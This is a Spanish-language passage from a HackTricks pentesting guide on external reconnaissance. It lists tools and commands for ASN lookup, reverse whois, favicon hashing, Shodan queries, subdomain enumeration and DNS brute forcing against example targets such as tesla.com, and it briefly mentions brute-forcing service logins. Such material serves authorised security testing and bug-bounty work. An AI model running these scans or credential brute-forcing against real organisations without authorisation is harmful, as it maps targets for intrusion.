<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensa por errores creada por hackers, para hackers**. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**.
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Descubrimiento de activos
|
||||
|
||||
> Te han dicho que todo lo que pertenece a una empresa está dentro del alcance, y quieres averiguar lo que esta empresa realmente posee.
|
||||
|
||||
El objetivo de esta fase es obtener todas las **empresas propiedad de la empresa principal** y luego todos los **activos** de estas empresas. Para hacerlo, vamos a:
|
||||
|
||||
1. Encontrar las adquisiciones de la empresa principal, esto nos dará las empresas dentro del alcance.
|
||||
2. Encontrar el ASN (si lo hay) de cada empresa, esto nos dará los rangos de IP propiedad de cada empresa.
|
||||
3. Usar búsquedas inversas de whois para buscar otras entradas (nombres de organizaciones, dominios...) relacionadas con la primera (esto se puede hacer recursivamente).
|
||||
4. Usar otras técnicas como los filtros `org` y `ssl` de shodan para buscar otros activos (el truco `ssl` se puede hacer recursivamente).
|
||||
|
||||
### **Adquisiciones**
|
||||
|
||||
En primer lugar, necesitamos saber qué **otras empresas son propiedad de la empresa principal**.\
|
||||
Una opción es visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **buscar** la **empresa principal**, y **hacer clic** en "**adquisiciones**". Allí verás otras empresas adquiridas por la principal.\
|
||||
Otra opción es visitar la página de **Wikipedia** de la empresa principal y buscar **adquisiciones**.
|
||||
|
||||
> Ok, en este punto deberías conocer todas las empresas dentro del alcance. Averigüemos cómo encontrar sus activos.
|
||||
|
||||
### **ASN**
|
||||
|
||||
Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\
|
||||
Un **AS** consta de **bloques** de **direcciones IP** que tienen una política definida de forma distintiva para acceder a redes externas y son administrados por una sola organización pero pueden estar compuestos por varios operadores.
|
||||
|
||||
Es interesante saber si la **empresa ha asignado algún ASN** para encontrar sus **rangos de IP**. Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\
|
||||
Puedes **buscar** por el **nombre** de la empresa, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Dependiendo de la región de la empresa, estos enlaces podrían ser útiles para recopilar más datos:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Norteamérica),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latinoamérica),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De todos modos, probablemente toda la información útil (rangos de IP y Whois)** ya aparece en el primer enlace.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
También, la enumeración de subdominios de [**BBOT**](https://github.com/blacklanternsecurity/bbot) automáticamente agrega y resume los ASN al final del escaneo.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
[INFO] bbot.modules.asn: | AS394161 | 8.244.131.0/24 | 5 | TESLA | Tesla Motors, Inc. | US |
|
||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
[INFO] bbot.modules.asn: | AS16509 | 54.148.0.0/15 | 4 | AMAZON-02 | Amazon.com, Inc. | US |
|
||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
[INFO] bbot.modules.asn: | AS394161 | 8.45.124.0/24 | 3 | TESLA | Tesla Motors, Inc. | US |
|
||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
[INFO] bbot.modules.asn: | AS3356 | 8.32.0.0/12 | 1 | LEVEL3 | Level 3 Parent, LLC | US |
|
||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
[INFO] bbot.modules.asn: | AS3356 | 8.0.0.0/9 | 1 | LEVEL3 | Level 3 Parent, LLC | US |
|
||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
Puedes encontrar los rangos de IP de una organización también usando [http://asnlookup.com/](http://asnlookup.com) (tiene una API gratuita).\
|
||||
Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
En este punto conocemos **todos los activos dentro del alcance**, así que si se nos permite, podríamos lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) en todos los hosts.\
|
||||
También podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres, deberías** buscar en este libro cómo hacer pentesting en varios posibles servicios en ejecución.\
|
||||
**También podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario y contraseñas **y tratar de** hacer fuerza bruta en servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Dominios
|
||||
|
||||
> Conocemos todas las empresas dentro del alcance y sus activos, es hora de encontrar los dominios dentro del alcance.
|
||||
|
||||
_Ten en cuenta que en las siguientes técnicas propuestas también puedes encontrar subdominios y esa información no debe subestimarse._
|
||||
|
||||
En primer lugar, deberías buscar el **dominio principal**(es) de cada empresa. Por ejemplo, para _Tesla Inc._ va a ser _tesla.com_.
|
||||
|
||||
### **DNS inverso**
|
||||
|
||||
Como has encontrado todos los rangos de IP de los dominios, podrías intentar realizar **búsquedas de DNS inverso** en esas **IP para encontrar más dominios dentro del alcance**. Trata de usar algún servidor DNS de la víctima o algún servidor DNS bien conocido (1.1.1.1, 8.8.8.8).
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
Para que esto funcione, el administrador tiene que habilitar manualmente el PTR.\
|
||||
También se puede utilizar una herramienta en línea para obtener esta información: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
|
||||
### **Reverse Whois (bucle)**
|
||||
|
||||
Dentro de un **whois** se pueden encontrar muchos datos interesantes como el **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que se pueden encontrar **más activos relacionados con la empresa** si se realizan **búsquedas de whois inversas por cualquiera de esos campos** (por ejemplo, otros registros de whois donde aparece el mismo correo electrónico).\
|
||||
Se pueden utilizar herramientas en línea como:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - Web **gratis**, no API gratis.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No gratis (solo **100 búsquedas gratis**)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - No gratis
|
||||
|
||||
Se puede automatizar esta tarea utilizando [**DomLink** ](https://github.com/vysecurity/DomLink)(requiere una clave de API de whoxy).\
|
||||
También se puede realizar una búsqueda automática de whois inverso con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Tenga en cuenta que se puede utilizar esta técnica para descubrir más nombres de dominio cada vez que se encuentra un nuevo dominio.**
|
||||
|
||||
### **Trackers**
|
||||
|
||||
Si encuentra el **mismo ID del mismo tracker** en 2 páginas diferentes, se puede suponer que **ambas páginas** son **administradas por el mismo equipo**.\
|
||||
Por ejemplo, si ve el mismo **ID de Google Analytics** o el mismo **ID de Adsense** en varias páginas.
|
||||
|
||||
Hay algunas páginas y herramientas que le permiten buscar por estos trackers y más:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
* [**Sitesleuth**](https://www.sitesleuth.io)
|
||||
* [**Publicwww**](https://publicwww.com)
|
||||
* [**SpyOnWeb**](http://spyonweb.com)
|
||||
|
||||
### **Favicon**
|
||||
|
||||
¿Sabía que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que hace la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creada por [@m4ll0k2](https://twitter.com/m4ll0k2). Así es cómo utilizarlo:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||
|
||||
|
||||
En pocas palabras, favihash nos permitirá descubrir dominios que tienen el mismo hash de icono favicon que nuestro objetivo.
|
||||
|
||||
Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**esta publicación de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web**, puedes buscar si está en shodan y **encontrar más lugares vulnerables**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
Así es como puedes **calcular el hash del favicon** de una página web:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
import codecs
|
||||
|
||||
def fav_hash(url):
|
||||
response = requests.get(url)
|
||||
favicon = codecs.encode(response.content,"base64")
|
||||
fhash = mmh3.hash(favicon)
|
||||
print(f"{url} : {fhash}")
|
||||
return fhash
|
||||
```
|
||||
### **Derechos de autor / Cadena única**
|
||||
|
||||
Busque dentro de las páginas web **cadenas que puedan ser compartidas en diferentes sitios web de la misma organización**. La **cadena de derechos de autor** podría ser un buen ejemplo. Luego busque esa cadena en **Google**, en otros **navegadores** o incluso en **Shodan**: `shodan search http.html:"Cadena de derechos de autor"`
|
||||
|
||||
### **Tiempo de CRT**
|
||||
|
||||
Es común tener un trabajo cron como el siguiente:
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
Renovar todos los certificados de dominio en el servidor. Esto significa que, incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios pertenecientes a la misma empresa en los registros de transparencia de certificados**.\
|
||||
Echa un vistazo a este [**artículo para obtener más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### **Toma de control pasiva**
|
||||
|
||||
Aparentemente, es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y, en algún momento, **pierdan esa dirección IP pero olviden eliminar el registro DNS**. Por lo tanto, simplemente **iniciando una VM** en una nube (como Digital Ocean), en realidad estarás **tomando el control de algunos subdominios**.
|
||||
|
||||
[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **inicia una VM en DigitalOcean**, **obtiene** el **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominios** que apunten a ella.
|
||||
|
||||
### **Otras formas**
|
||||
|
||||
**Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
|
||||
|
||||
**Shodan**
|
||||
|
||||
Como ya conoces el nombre de la organización que posee el espacio IP, puedes buscar esa información en Shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados en busca de nuevos dominios inesperados en el certificado TLS.
|
||||
|
||||
Podrías acceder al **certificado TLS** de la página web principal, obtener el **nombre de la organización** y luego buscar ese nombre dentro de los **certificados TLS** de todas las páginas web conocidas por **Shodan** con el filtro: `ssl:"Tesla Motors"`
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante sorprendente.
|
||||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
Revisa si hay algún [toma de control de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Tal vez alguna empresa esté **usando un dominio** pero **perdió la propiedad**. Solo regístralo (si es lo suficientemente barato) y hazle saber a la empresa.
|
||||
|
||||
Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo de vulnerabilidades básico** (usando Nessus o OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de los servicios que se estén ejecutando, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, por lo que no está dentro del alcance, ten cuidado._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Subdominios
|
||||
|
||||
> Conocemos todas las empresas dentro del alcance, todos los activos de cada empresa y todos los dominios relacionados con las empresas.
|
||||
|
||||
Es hora de encontrar todos los posibles subdominios de cada dominio encontrado.
|
||||
|
||||
### **DNS**
|
||||
|
||||
Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar hacer una **Transferencia de zona** (si es vulnerable, deberías informarlo).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
### **OSINT**
|
||||
|
||||
La forma más rápida de obtener muchos subdominios es buscar en fuentes externas. Las **herramientas** más utilizadas son las siguientes (para obtener mejores resultados, configure las claves de API):
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
```bash
|
||||
# subdomains
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
|
||||
# subdomains (passive only)
|
||||
bbot -t tesla.com -f subdomain-enum -rf passive
|
||||
|
||||
# subdomains + port scan + web screenshots
|
||||
bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o .
|
||||
```
|
||||
* [**Amass**](https://github.com/OWASP/Amass)
|
||||
|
||||
Amass es una herramienta de reconocimiento externo que ayuda a recopilar información sobre objetivos específicos. Puede descubrir subdominios, puertos abiertos y servicios en ejecución, y también puede realizar búsquedas de DNS y Whois. Amass es una herramienta muy útil para la fase de reconocimiento de cualquier prueba de penetración.
|
||||
```bash
|
||||
amass enum [-active] [-ip] -d tesla.com
|
||||
amass enum -d tesla.com | grep tesla.com # To just list subdomains
|
||||
```
|
||||
* [**subfinder**](https://github.com/projectdiscovery/subfinder)
|
||||
|
||||
Subfinder es una herramienta de reconocimiento de subdominios que utiliza múltiples fuentes públicas para encontrar subdominios asociados a un dominio dado. Es una herramienta muy útil para la fase de reconocimiento externo.
|
||||
```bash
|
||||
# Subfinder, use -silent to only have subdomains in the output
|
||||
./subfinder-linux-amd64 -d tesla.com [-silent]
|
||||
```
|
||||
* [**findomain**](https://github.com/Edu4rdSHL/findomain/)
|
||||
|
||||
Findomain es una herramienta de reconocimiento de dominios que utiliza diversas fuentes públicas para encontrar subdominios asociados a un dominio dado. Es una herramienta muy útil para la fase de reconocimiento externo.
|
||||
```bash
|
||||
# findomain, use -silent to only have subdomains in the output
|
||||
./findomain-linux -t tesla.com [--quiet]
|
||||
```
|
||||
* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us)
|
||||
|
||||
OneForAll es una herramienta de reconocimiento de dominios que puede buscar subdominios, correos electrónicos y nombres de usuario en más de 100 fuentes públicas. Es muy útil para encontrar información sobre una organización y sus empleados.
|
||||
```bash
|
||||
python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run
|
||||
```
|
||||
* [**assetfinder**](https://github.com/tomnomnom/assetfinder): Herramienta para encontrar subdominios de un dominio dado.
|
||||
```bash
|
||||
assetfinder --subs-only <domain>
|
||||
```
|
||||
* [**Sudomy**](https://github.com/Screetsec/Sudomy)
|
||||
|
||||
Sudomy es una herramienta de reconstrucción de subdominios que utiliza múltiples fuentes para recopilar información sobre subdominios. La herramienta es altamente personalizable y permite a los usuarios agregar sus propias fuentes de búsqueda. Sudomy también puede realizar búsquedas de subdominios utilizando motores de búsqueda como Google, Bing y Yahoo.
|
||||
```bash
|
||||
# It requires that you create a sudomy.api file with API keys
|
||||
sudomy -d tesla.com
|
||||
```
|
||||
* [**vita**](https://github.com/junnlikestea/vita) - Vita es una herramienta de reconstrucción de subdominios que utiliza múltiples fuentes de información para encontrar subdominios.
|
||||
```
|
||||
vita -d tesla.com
|
||||
```
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester)
|
||||
|
||||
theHarvester es una herramienta de código abierto que se utiliza para recopilar información de correo electrónico y nombres de dominio de diferentes fuentes públicas, como motores de búsqueda, servidores DNS y páginas web. Es una herramienta muy útil para la fase de reconocimiento externo de un pentesting.
|
||||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Existen **otras herramientas/APIs interesantes** que, aunque no estén directamente especializadas en encontrar subdominios, podrían ser útiles para encontrar subdominios, como:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utiliza la API [https://sonar.omnisint.io](https://sonar.omnisint.io) para obtener subdominios.
|
||||
```bash
|
||||
# Get list of subdomains in output from the API
|
||||
## This is the API the crobat tool will use
|
||||
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
* [**API gratuita de JLDC**](https://jldc.me/anubis/subdomains/google.com)
|
||||
```bash
|
||||
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
* [**RapidDNS**](https://rapiddns.io) API gratuito
|
||||
```bash
|
||||
# Get Domains from rapiddns free API
|
||||
rapiddns(){
|
||||
curl -s "https://rapiddns.io/subdomain/$1?full=1" \
|
||||
| grep -oE "[\.a-zA-Z0-9-]+\.$1" \
|
||||
| sort -u
|
||||
}
|
||||
rapiddns tesla.com
|
||||
```
|
||||
* [**https://crt.sh/**](https://crt.sh)
|
||||
|
||||
Este sitio web es una herramienta de búsqueda de certificados SSL/TLS. Puede ser utilizado para buscar certificados emitidos para un dominio específico, lo que puede ser útil para la recopilación de información y la enumeración de subdominios. También puede ser utilizado para buscar certificados emitidos por una autoridad de certificación específica, lo que puede ser útil para la identificación de infraestructuras y servicios.
|
||||
```bash
|
||||
# Get Domains from crt free API
|
||||
crt(){
|
||||
curl -s "https://crt.sh/?q=%25.$1" \
|
||||
| grep -oE "[\.a-zA-Z0-9-]+\.$1" \
|
||||
| sort -u
|
||||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** obtiene URLs conocidas de AlienVault's Open Threat Exchange, la Wayback Machine y Common Crawl para cualquier dominio dado.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Estas herramientas buscan en la web archivos JS y extraen subdominios a partir de ellos.
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
|
||||
# Get only subdomains from subscraper, this already perform recursion over the found results
|
||||
python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f
|
||||
```
|
||||
* [**Shodan**](https://www.shodan.io/)
|
||||
|
||||
Shodan es un motor de búsqueda que permite a los usuarios encontrar dispositivos conectados a Internet y ver información sobre ellos, como el sistema operativo, el software utilizado y la dirección IP. Es una herramienta útil para la recopilación de información y la identificación de vulnerabilidades en dispositivos conectados a Internet.
|
||||
```bash
|
||||
# Get info about the domain
|
||||
shodan domain <domain>
|
||||
# Get other pages with links to subdomains
|
||||
shodan search "http.html:help.domain.com"
|
||||
```
|
||||
* [**Buscador de subdominios de Censys**](https://github.com/christophetd/censys-subdomain-finder)
|
||||
```
|
||||
export CENSYS_API_ID=...
|
||||
export CENSYS_API_SECRET=...
|
||||
python3 censys-subdomain-finder.py tesla.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/) tiene una API gratuita para buscar subdominios e historial de IP.
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) Este proyecto ofrece de forma gratuita todos los subdominios relacionados con programas de recompensa por errores. También puedes acceder a estos datos utilizando [chaospy](https://github.com/dr-0x0x/chaospy) o incluso acceder al alcance utilizado por este proyecto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Puedes encontrar una **comparación** de muchas de estas herramientas aquí: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **Fuerza bruta DNS**
|
||||
|
||||
Intentemos encontrar nuevos subdominios forzando servidores DNS utilizando posibles nombres de subdominios.
|
||||
|
||||
Para esta acción necesitarás algunas **listas de palabras comunes de subdominios como**:
|
||||
|
||||
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
* [https://localdomain.pw/subdomain-bruteforce-list/all.txt.zip](https://localdomain.pw/subdomain-bruteforce-list/all.txt.zip)
|
||||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
Y también IPs de buenos resolutores DNS. Para generar una lista de resolutores DNS confiables, puedes descargar los resolutores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O puedes usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Las herramientas más recomendadas para la fuerza bruta DNS son:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Creo que este solo utiliza 1 resolutor.
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): También utiliza `massdns`.
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utiliza asyncio para realizar fuerza bruta de nombres de dominio de forma asíncrona.
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Segunda ronda de fuerza bruta DNS
|
||||
|
||||
Después de haber encontrado subdominios utilizando fuentes abiertas y fuerza bruta, podrías generar alteraciones de los subdominios encontrados para intentar encontrar aún más. Varios herramientas son útiles para este propósito:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dados los dominios y subdominios, genera permutaciones.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dado un dominio o subdominio, genera permutaciones.
|
||||
* Puedes obtener la lista de permutaciones de goaltdns en [**aquí**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Dado un conjunto de dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator utilizará uno propio.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Además de generar permutaciones de subdominios, también puede intentar resolverlos (pero es mejor usar las herramientas comentadas anteriormente).
|
||||
* Puedes obtener la **lista de palabras** de permutaciones de altdns [**aquí**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Otra herramienta para realizar permutaciones, mutaciones y alteraciones de subdominios. Esta herramienta fuerza bruta el resultado (no soporta comodines DNS).
|
||||
* Puedes obtener la lista de palabras de permutaciones de dmut [**aquí**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basado en un dominio, **genera nuevos nombres potenciales de subdominios** basados en patrones indicados para intentar descubrir más subdominios.
|
||||
|
||||
#### Generación inteligente de permutaciones
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente obtendrá las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
